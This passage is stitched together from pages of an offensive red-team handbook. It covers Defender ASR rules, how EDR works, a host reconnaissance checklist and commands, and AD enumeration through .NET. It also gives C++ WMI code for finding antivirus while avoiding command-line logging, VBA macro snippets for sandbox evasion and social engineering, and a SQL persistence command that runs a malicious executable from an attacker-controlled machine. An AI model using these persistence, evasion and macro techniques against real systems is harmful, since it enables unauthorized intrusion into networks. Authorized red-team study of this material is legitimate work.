content](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-javascript-or-vbscript-from-launching-downloaded-executable-content) ​ `D3E037E1-3EB8-44C8-A917-57927947596D` Not supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block execution of potentially obfuscated scripts](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-execution-of-potentially-obfuscated-scripts) ​ `5BEB7EFE-FD9A-4556-801D-275E5FFC04CC` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block Win32 API calls from Office macros](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-win32-api-calls-from-office-macros) ​ `92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block executable files from running unless they meet a prevalence, age, or trusted list criterion](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion) ​ `01443614-cd74-433a-b99e-2ecdc07bfc25` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Use advanced protection against ransomware](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#use-advanced-protection-against-ransomware) ​ `c1db55ab-c21a-4637-bb3f-a12568109d35` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block credential stealing from the Windows local security authority subsystem (lsass.exe)](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-credential-stealing-from-the-windows-local-security-authority-subsystem) ​ `9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block process creations originating from PSExec and WMI commands](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-process-creations-originating-from-psexec-and-wmi-commands) ​ `d1e49aac-8f56-4280-b9ba-993a6d77406c` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block untrusted and unsigned processes that run from USB](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-untrusted-and-unsigned-processes-that-run-from-usb) ​ `b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block Office communication application from creating child processes](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-communication-application-from-creating-child-processes) ​ `26190899-1602-49e8-8b27-eb1d0a1ce869` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block Adobe Reader from creating child processes](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-adobe-reader-from-creating-child-processes) ​ `7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c` Supported ​[Windows 10, version 1709](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1709) (RS3, build 16299) or greater ​[Block persistence through WMI event subscription](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-persistence-through-wmi-event-subscription) ​ `e6db77e5-3df2-4cf1-b95a-636979351e5b` Not supported ​[Windows 10, version 1903](https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-1903) (build 18362) or greater To check if certain rules are enabled or not: * 0 = Off * 1 = Block * 2 = Audit ATA[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying#ata) ---------------------------------------------------------------------------------------------------------- Check for ATA admins: [PreviousDomain Dominance](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance) [NextRecon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon) Last updated 5 years ago * [ATP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying#atp) * [ATA](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying#ata) Copy Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association Win32_GroupUser --- # ACCDE | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde.md) . (todo) [PreviousPowerPoint](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint) [NextShellcode Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution) Last updated 5 years ago --- # High Level Overview of EDR technologies | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies.md) . ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MhReDpYcQsbeDD-JVoP%252F-MhReJF9lLQwy-k_SBWi%252Fdiagram.jpg%3Falt%3Dmedia%26token%3D826f3d88-cd92-45d0-811e-5793f201766f&width=768&dpr=3&quality=100&sign=fa9d414d&sv=2) Process Creation[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#process-creation) -------------------------------------------------------------------------------------------------------------------------------------------------------------------- * EDRs look at parent child relationships to detect potential malicious activity, for example, should Word be spawning PowerShell? EDRs look at these relationships and find malicious activity based on this. They also may look at arguments, environment variables etc. * This is exposed in the kernel via image loads and callbacks * EDRs may subscribe to these events to get insight into this * These callbacks and image loads include * pic from: [https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgE4Pyd-Js8KWgewZQt%252F-MgE6hxUAD2KMK20EZLU%252Fimage.png%3Falt%3Dmedia%26token%3D6e49391a-bcb5-4f55-ab4d-7701cdb1e5cd&width=768&dpr=3&quality=100&sign=66066d92&sv=2) AMSI[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#amsi) -------------------------------------------------------------------------------------------------------------------------------------------- * This is used to detect .NET malware like C# PowerShell, VBS, jscript etc. * In these processes, there is going to be a language provider loaded into memory which converts the raw source code of the script to machine instructions for the process itself * these providers send potentially dangerous code into the amsi.dll loaded in the process, amsi.dll will then send this data to providers, which decide if the code is malicious or not * The default provider in windows is MsMpEng.exe, but EDRs have been implementing their own providers and such(via some COM RPC magic shit). They communicate via RPC ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgE4Pyd-Js8KWgewZQt%252F-MgE4TXe6NqvEpIUVGEq%252Fimage.png%3Falt%3Dmedia%26token%3D60f4b2bc-c514-433a-ab5c-4eaeba4c4e27&width=768&dpr=3&quality=100&sign=d4c4bd05&sv=2) Event Logging[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#event-logging) -------------------------------------------------------------------------------------------------------------------------------------------------------------- * Events that get reported to svchost.exe * Let's take powershell.exe as an example * Powershell.exe has a System.Management.Automation.dll which is the powershell .NET implementation * When certain events in System.Management.Automation.dll happen, it will get reported with EventWriteTransfer(), which will get traced down to EtwEventWrite(), and then into NtTraceEvent() which is a kernel syscall * Then, the kernel has the event information which it then sends to Eventlog Service which then spits out the logs back into the user ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgE4Pyd-Js8KWgewZQt%252F-MgE5yNWHbuN1hePaSJJ%252Fimage.png%3Falt%3Dmedia%26token%3Dd2b7bbe7-faa0-46e8-aa5c-75ca0860bc05&width=768&dpr=3&quality=100&sign=419fc82e&sv=2) Userland Hooking[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#userland-hooking) -------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Injects a dll which hooks certain "potentially malicious functions" to see their behavior and deduce if they are malicious or not * For example, we can hook NtWriteVirtualMemory and scan the buffer passed to it at runtime * Pic from: [https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis](https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgE4Pyd-Js8KWgewZQt%252F-MgE6TC6XnFLaT2HXU-1%252Fimage.png%3Falt%3Dmedia%26token%3D56dae97f-0736-4eae-9d36-c0bbcd8d22a1&width=768&dpr=3&quality=100&sign=a8b5e65&sv=2) Process Memory Scanning[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#process-memory-scanning) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * scanning process memory for malicious signatures. * The scans can be triggered on specific events for example: * Scanning RWX regions * After a certain time period * After a process is created * etc. * Note that this is very resource intensive, and periodic scanners can't do full memory scans in short intervals EtwTi[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#etwti) ---------------------------------------------------------------------------------------------------------------------------------------------- * A way to have kernel level telemetry into common process injection APIs * EtwTi is a kernel level instrumentation which does this * APIs will trace down to the kernel, and go into a EtwTi function which goes to an ETW provider called Microsoft-Windows-Threat-Intelligence which then deduces if it is malicious or not * EtwTi is only available to processes running with PPL-Antimalware * for more info: [https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection) Misc[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#misc) -------------------------------------------------------------------------------------------------------------------------------------------- * EDRs can dump process memory, grab files, and in the worst case, isolate a host from a network for detection and forensics. * Least frequency analysis, EDRs find the odd one out and investigate to see if its malware. For example, all users run edge, but one runs chrome, and the chrome instance spawns a unknown binary from temp, chances are is that this is malware(shit example). * EDRs can integrate with VirusTotal, and have some detection logic from there [PreviousIOCs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs) [NextSandbox Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/sandbox-evasion) Last updated 3 years ago * [Process Creation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#process-creation) * [AMSI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#amsi) * [Event Logging](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#event-logging) * [Userland Hooking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#userland-hooking) * [Process Memory Scanning](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#process-memory-scanning) * [EtwTi](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#etwti) * [Misc](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies#misc) Copy PsSetCreateProcessNotifyRoutine() PsSetCreatethreadNotifyRoutine() PsSetLoadImageNotifyRoutine() --- # Recon Commands | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands.md) . [.NET AD Enum commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands) [WMIC commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands) [PreviousSituational Awareness](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness) [Next.NET AD Enum commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands) Last updated 5 years ago --- # .MAM Files | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files.md) . (todo) [PreviousInline Shapes](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes) [NextPowerPoint](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint) Last updated 5 years ago --- # Situational Awareness | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness.md) . Here's a checklist of what you should check for: Copy • 2FA methods • Certificates • Open ports • Installed services • COM objects • Named pipes • Scheduled tasks • Mapped drives • System PATH • Installed drivers • LSASS protected mode • LLMNR/NBT-NS • WDigest provider • NTLMv1 status • SMB Signing • PowerShell logging • Logon limitations • LLMNR/NBT-NS status • RID 500 account status • FilterAdministratorToken • UAC configuration • SysMon Find powershell engines powershell logging CLR versions Check for CLM Check Audit Policies Check if LSASS is running in PPL applocker policies Check for Non-standard MS services/processes: [https://gist.github.com/HarmJ0y/7363509435f5700d713ee351bb4fcd8f](https://gist.github.com/HarmJ0y/7363509435f5700d713ee351bb4fcd8f) RDP history Find recently used files Find running application window titles Detect Sysmon If assembly is .NET or not EDR presence: [https://github.com/BankSecurity/Red\_Team/blob/master/Discovery/Check\_EDR\_Presence.ps1](https://github.com/BankSecurity/Red_Team/blob/master/Discovery/Check_EDR_Presence.ps1) Enumerate general info from com objects: proxy settings [PreviousEnumeration](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration) [NextRecon Commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands) Last updated 5 years ago Copy reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowershellEngine /v PowershellVersion reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowershellEngine /v PowershellVersion Copy reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging Copy dir %WINDIR%\Microsoft.Net\Framework\ /s /b | find "System.dll” [System.IO.File]::Exists("$env:windir\Microsoft.Net\Framework\v2.0.50727\System.dll") [System.IO.File]::Exists("$env:windir\Microsoft.Net\Framework\v4.0.30319\System.dll") Copy $ExecutionContext.SessionState.LanguageMode Copy auditpol /get /categoryams:* Copy reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" Copy Get-AppLockerPolicy -Local).RuleCollections Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\ Copy reg query HKCU\Software\Microsoft\Terminal Server Client\ Copy %AppData%\Microsoft\Windows\Recent Copy get-process | where-object {$_.mainwindowtitle -ne ""} | Select-Object mainwindowtitle Copy Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" } Copy [Reflection.AssemblyName]::GetAssemblyName("C:\Path\To\File.exe") Copy $o = [activator]::CreateInstance([type]::GetTypeFromCLSID("093FF999-1EA0-4079-9525-9614C3504B74")) $o | gm $o $o.EnumNetworkDrives() Copy netsh winhttp show proxy ping -n 1 wpad --- # SQL | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql.md) . To get persistence in a SQL database, we can create malicious startup procedures, malicious agent jobs or triggers, modify existing code etc. PowerUpSQL has quite a bit of modules to assist you with this, for example we can use the Get-SQLPersistRegRun function for persistence: Copy Get-SQLPersistRegRun –Verbose –Name Legit –Command "\\attacker_controlled_machine\malicious.exe" –Instance "SQLServerName\InstanceName There are lots of other techniques you could try. Check the documentation for more information [PreviousMS Office](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office) [NextAdmin Level](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level) Last updated 5 years ago --- # Info Extraction | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1.md) . This is how we will extract information with Macros. These can be used to evade sandboxes, or to just gather information about the user. Extracting Domain/Computer name. Copy Set wshNetwork = CreateObject("Wscript.Network") strUserDomain = wshNetwork.UserDomain strCompName = wshNetwork.computername Extracting MAC/IP Copy set cItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPENabled = True") For Each oItem In cItems If Not IsNull(oItem.IPAddress) Then myMacAddress = oItem.macAddress Exit Fort Nextset objProcessSet = objWMIService.ExecQuery("Select Name, ProcessID FROM Win32_Process") For Each Process In objProcessSet ProcessStr = ProcessStr & Process.Properties_("Name").Value & ":" & Process.Properties_("ProcessId").Value & "|"Next Visit URL Copy Dim objIE As Object Set objIE = CreateObject("InternetExplorer.Application") With objIE .Visible = False .Navigate "https://www.silentbreaksecurity.com" Do While .ReadyState <> 4: DoEvents: Loop .Quit End With Unhides all text(for social engineering purposes) Get a Process List(For Process Injection) [PreviousSandbox Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/sandbox-evasion) [NextInline Shapes](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes) Last updated 5 years ago Copy Selection.WholeStory With Selection.Font .Hidden = False End With Copy Dim Service, List As Object Set Service = GetObject("winmgmts:\\.\root\cimv2")Set List = Service.ExecQuery ("SELECT * FROM Win32_Process")Dim result As String Dim Process As Object For Each Process In List If Len(Process.ExecutablePath) > 0 Then result = result & Process.ExecutablePath & vbNewLine ElseIf Len(Process.name) > 0 Then result = result & Process.name & vbNewLine End If Next --- # WMI queries from c++ | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands/wmi-queries-from-c++.md) . WMIC commands may be monitored by defenses like script-block logging and command line logging. Instead, we can achieve the same with WMI queries in c++. Here is a code sample which gets some information about AV and the ussername of the desktop. It should be noted that the code below is very barebones and does not follow the regular coding standards from Microsoft. Copy #include #include #include #pragma comment(lib, "wbemuuid.lib") #include #include int main() { CComPtr pWbemLocator; CComPtr pWbemServices; CComPtr pEnum; CComPtr pWmiObject; CComVariant cvtName; ULONG uObjectCount = 0; CoInitialize(NULL); CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, 0); pWbemLocator.CoCreateInstance(CLSID_WbemLocator); pWbemLocator->ConnectServer(CComBSTR(L"root\\securitycenter2"), NULL, NULL, 0, NULL, 0, NULL, &pWbemServices); pWbemServices->ExecQuery(CComBSTR("WQL"), CComBSTR(L"SELECT * FROM AntiVirusProduct"), WBEM_FLAG_FORWARD_ONLY, NULL, &pEnum); pEnum->Next(WBEM_INFINITE, 1, &pWmiObject, &uObjectCount); pWmiObject->Get(L"displayName", 0, &cvtName, 0, 0); std::cout << "ANTIVIRUS: " << CW2A(cvtName.bstrVal) << std::endl; pWbemLocator->ConnectServer(CComBSTR(L"root\\securitycenter2"), NULL, NULL, 0, NULL, 0, NULL, &pWbemServices); pEnum->Next(WBEM_INFINITE, 1, &pWmiObject, &uObjectCount); pWmiObject->Get(L"pathToSignedReportingExe", 0, &cvtName, 0, 0); std::cout << "PATH TO AV: " << CW2A(cvtName.bstrVal) << std::endl; pWbemLocator->ConnectServer(CComBSTR(L"root\\cimv2"), NULL, NULL, 0, NULL, 0, NULL, &pWbemServices); pWbemServices->ExecQuery(CComBSTR("WQL"), CComBSTR(L"SELECT * FROM Win32_ComputerSystem"), WBEM_FLAG_FORWARD_ONLY, NULL, &pEnum); pEnum->Next(WBEM_INFINITE, 1, &pWmiObject, &uObjectCount); pWmiObject->Get(L"Name", 0, &cvtName, 0, 0); std::cout << "Desktop Name: " << CW2A(cvtName.bstrVal) << std::endl; system("PAUSE"); return 0; } [PreviousWMIC commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands) [NextExecution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution) Last updated 3 years ago --- # .NET AD Enum commands | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands.md) . Copy There are times you don’t have access to the Active Directory PowerShell cmdlets. One of the great things about PowerShell is the ability to use .Net in PowerShell scripts. For more, check out Part 2. Here are some alternatives to using Get-ADForest & Get-Domain: # Get Active Directory Forest Information $ADForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $ADForestInfo.Name $ADForestInfo.Sites $ADForestInfo.Domains $ADForestInfo.GlobalCatalogs $ADForestInfo.ApplicationPartitions $ADForestInfo.ForestMode $ADForestInfo.RootDomain $ADForestInfo.Schema $ADForestInfo.SchemaRoleOwner $ADForestInfo.NamingRoleOwner # OR [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Name [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Domains [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ApplicationPartitions [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ForestMode [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().RootDomain [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Schema [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().SchemaRoleOwner [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().NamingRoleOwner ### # Get Active Directory Domain Information # Target the current (local) computer’s domain: $ADDomainInfo = [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain() # Target the current user’s domain: $ADDomainName = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $ADDomainInfo.Forest $ADDomainInfo.DomainControllers $ADDomainInfo.Children $ADDomainInfo.DomainMode $ADDomainInfo.Parent $ADDomainInfo.PdcRoleOwner $ADDomainInfo.RidRoleOwner $ADDomainInfo.DomainControllers # OR [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Forest [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Children [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainMode [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Parent [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().RidRoleOwner [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers # Note: Use [System.DirectoryServices.ActiveDirectory.Domain]::GetCOMPUTERDomain().Attribute for the local computer’s domain info. # Example: [System.DirectoryServices.ActiveDirectory.Domain]::GetCOMPUTERDomain().Forest ### # Get the local computer’s site information: $LocalSiteInfo = [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite() $LocalSiteInfo.Name $LocalSiteInfo.Domains $LocalSiteInfo.Subnets $LocalSiteInfo.Servers $LocalSiteInfo.AdjacentSites $LocalSiteInfo.SiteLinks $LocalSiteInfo.InterSiteTopologyGenerator $LocalSiteInfo.Options $LocalSiteInfo.Location $LocalSiteInfo.BridgeheadServers $LocalSiteInfo.PreferredSmtpBridgeheadServers $LocalSiteInfo.PreferredRpcBridgeheadServers $LocalSiteInfo.IntraSiteReplicationSchedule # OR [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().Name [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().Domains [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().Subnets [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().Servers [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().AdjacentSites [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().SiteLinks [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().InterSiteTopologyGenerator [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().Options [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().Location [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().BridgeheadServers [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().PreferredSmtpBridgeheadServers [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().PreferredRpcBridgeheadServers [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite().IntraSiteReplicationSchedule [PowerShell: Using Active Directory .Net methods in PowerShell Part 1Active Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=113) [PreviousRecon Commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands) [NextWMIC commands](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands) Last updated 5 years ago --- # Code Injection | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection.md) . [Hooking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking) [CreateRemoteThread](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/createremotethread) [DLL Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection) [APC Queue Code Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection) [Early Bird Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection) [PreviousSCShell](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell) [NextHooking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking) Last updated 5 years ago --- # Disabling/Patching Telemetry | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as 